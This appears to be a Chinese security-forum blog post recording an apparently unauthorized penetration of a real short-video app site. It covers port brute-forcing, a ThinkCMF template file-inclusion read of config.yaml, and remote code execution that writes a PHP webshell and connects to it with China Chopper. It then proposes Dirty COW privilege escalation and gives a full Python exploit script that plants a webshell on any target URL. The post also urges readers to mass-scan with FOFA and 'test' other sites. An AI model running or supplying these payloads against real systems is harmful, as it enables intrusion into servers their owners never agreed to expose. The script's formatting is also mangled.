记一次对目标站信息搜集,并通杀ThinkCMF系统的渗透测试记录

可领全套安全课程、配套攻防靶场


记一次对目标站信息搜集,并通杀ThinkCMF系统的渗透测试记录


目标站点是一个短视频App下载页面,下面记录一下渗透过程。


这是目标站

记一次对目标站信息搜集,并通杀ThinkCMF系统的渗透测试记录

信息搜集过程


首先看云悉,收集指纹和资产,也没发现什么可利用的玩意

记一次对目标站信息搜集,并通杀ThinkCMF系统的渗透测试记录

然后看shodan发现22和3306都是可以利用的,经过一番爆破,无果

记一次对目标站信息搜集,并通杀ThinkCMF系统的渗透测试记录

寻思微步反查一下域名打算从别的域名下手,也没果,貌似被隐藏了

记一次对目标站信息搜集,并通杀ThinkCMF系统的渗透测试记录

之后我发现了一个奇怪的玩意,是别的开发系统中都没有的

记一次对目标站信息搜集,并通杀ThinkCMF系统的渗透测试记录

记一次对目标站信息搜集,并通杀ThinkCMF系统的渗透测试记录


记一次对目标站信息搜集,并通杀ThinkCMF系统的渗透测试记录

凭借之前的渗透测试经验和刚刚右下角

发现是是基于ThinkPHP二次开发的ThinkCMF


thinkcmf 任意文件包含


信息搜集后确定为ThinkCMF,尝试代码执行。?a=display&templateFile=README.md

返回报错

记一次对目标站信息搜集,并通杀ThinkCMF系统的渗透测试记录

这里很明显可以确定payload被执行,但是未找到README.md,因为这是一个默认的git介绍页面,被删除是很正常的。

尝试读取config.yaml配置文件?a=display&templateFile=config.yaml

记一次对目标站信息搜集,并通杀ThinkCMF系统的渗透测试记录

成功读取config.yaml文件


thinkcmf rce


写入phpinfo()?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents('test.php','')

回显未报错

记一次对目标站信息搜集,并通杀ThinkCMF系统的渗透测试记录

访问写入的test.php文件,成功返回phpinfo()

记一次对目标站信息搜集,并通杀ThinkCMF系统的渗透测试记录

尝试写入php一句话?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents('h4ck.php','')

记一次对目标站信息搜集,并通杀ThinkCMF系统的渗透测试记录

菜刀连接写入的一句话

记一次对目标站信息搜集,并通杀ThinkCMF系统的渗透测试记录

发现是低权限,后续可以使用脏牛提权法“CVE-2016-5195”


结尾


后来用FOFA一系列关键词搜索,发现漏洞存在的还很广,欢迎掌控安全社区的小伙伴们去测试

漏洞EXP第一版(持续更新)


基于Python3开发的EXP


<code>import requestsfrom requests.exceptions import RequestExceptionheaders = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36'}def payload_01(url): try: response = requests.get((url+'?a=display&templateFile=README.md'), headers = headers, timeout = 3)  if '## README' in response.text: print ('存在readme.md:{}?a=display&templateFile=README.md'.format(url)) url_2 = url return url_2 except RequestException: print('无法连接到目标') return('无法连接到目标')def payload_02(url): response = requests.get((url+'?a=display&templateFile=config.yaml'), headers = headers, timeout = 3) if 'name: thinkcmf' in response.text: print('存在config.yaml:{}?a=display&templateFile=config.yaml'.format(url)) return urldef payload_03(url): response = requests.get((url+"?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents('test.php','')"), headers = headers, timeout = 3) if response.status_code == 200: response = requests.get((url+'/test.php'), headers = headers, timeout = 3) if response.status_code == 200: if 'http://www.php.net' in response.text: print('phpinfo:{}/test.php'.format(url)) return url return url return urldef payload_04(url): response = requests.get((url+'''?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents('h4ck.php','')'''), headers = headers, timeout = 3) if response.status_code == 200: response = requests.get((url+'/h4ck.php'), headers = headers, timeout = 3) if response.status_code == 200: print('请连接shell,密码是h4ck:{}/h4ck.php'.format(url)) return None return Nonedef main(): url = input("url:"); if payload_01(url) == '无法连接到目标': pass else: payload_02(url_2) payload_03(url_2) payload_04(url_2)if __name__ == '__main__': main()/<code>

kali下测试EXP

记一次对目标站信息搜集,并通杀ThinkCMF系统的渗透测试记录

很多小伙伴私信我跟我说第一版扫不了IP地址,只能扫域名,现在给你们更新第二版EXP


还是基于python3的开发,这里我将第二版扔在附件里,大家需要的自行去下载。



©出自掌控安全学院0-range 橙队、成员H4ck


特别感谢Reder帮忙解决exp的问题


转发需附原文链接:https://bbs.zkaq.cn/t/4226.html


今天你知道了吗

记一次对目标站信息搜集,并通杀ThinkCMF系统的渗透测试记录


加群,黑客技术大咖在线解答(群号评论区见)


分享到:


相關文章: